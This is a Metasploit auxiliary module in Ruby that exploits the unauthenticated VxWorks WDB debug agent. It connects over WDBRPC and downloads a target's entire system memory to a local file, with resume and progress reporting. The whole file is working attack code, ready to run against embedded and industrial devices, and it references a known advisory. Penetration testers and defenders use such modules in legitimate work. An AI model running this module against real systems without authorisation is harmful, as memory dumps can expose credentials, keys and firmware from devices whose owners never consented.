##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::WDBRPC_Client

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VxWorks WDB Agent Remote Memory Dump',
        'Description' => %q{
          This module provides the ability to dump the system memory of a VxWorks target through WDBRPC
        },
        'Author' => [ 'hdm'],
        'License' => MSF_LICENSE,
        'References' => [
          ['OSVDB', '66842'],
          ['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
          ['US-CERT-VU', '362332']
        ],
        'Actions' => [
          ['Download', { 'Description' => 'Dump system memory' }]
        ],
        'DefaultAction' => 'Download',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new(
          'LPATH',
          [
            true,
            'The local filename to store the dumped memory',
            ::File.join(Msf::Config.log_directory, 'vxworks_memory.dmp')
          ]
        ),
        OptInt.new('OFFSET', [ true, 'The starting offset to read the memory dump (hex allowed)', 0 ])
      ]
    )
  end

  def run
    offset = datastore['OFFSET'].to_i
    print_status('Attempting to dump system memory, starting at offset 0x%02x' % offset)

    wdbrpc_client_connect

    if !@wdbrpc_info[:rt_vers]
      print_error('No response to connection request')
      return
    end

    membase = @wdbrpc_info[:rt_membase]
    memsize = @wdbrpc_info[:rt_memsize]
    mtu = @wdbrpc_info[:agent_mtu]

    print_status("Dumping #{'0x%.8x' % memsize} bytes from base address #{'0x%.8x' % membase} at offset #{'0x%.8x' % offset}...")

    lfd = nil
    if offset != 0
      begin
        # Turns out ruby's implementation of seek with "ab" mode is all kind of busted.
        lfd = ::File.open(datastore['LPATH'], 'r+b')
        lfd.seek(offset)
      rescue Errno::ENOENT
        print_error('Unable to open existing dump!  Writing a new file instead of resuming...')
        lfd = ::File.open(datastore['LPATH'], 'wb')
      end
    else
      lfd = ::File.open(datastore['LPATH'], 'wb')
    end

    mtu -= 80
    idx = offset
    lpt = 0.00
    sts = Time.now.to_f

    while (idx < memsize)
      buff = wdbrpc_client_memread(membase + idx, mtu)
      if !buff
        print_error("Failed to download data at offset #{'0x%.8x' % idx}")
        return
      end

      idx += buff.length
      lfd.write(buff)

      pct = ((idx / memsize.to_f) * 10000).to_i
      pct /= 100.0

      next unless pct != lpt

      eta = Time.at(Time.now.to_f + (((Time.now.to_f - sts) / pct) * (100.0 - pct)))
      print_status("[ #{sprintf('%.2d', pct)} % ] Downloaded #{'0x%.8x' % idx} of #{'0x%.8x' % memsize} bytes (complete at #{eta})")
      lpt = pct
    end

    lfd.close

    print_status("Dumped #{'0x%.8x' % idx} bytes.")
    wdbrpc_client_disconnect
  end
end
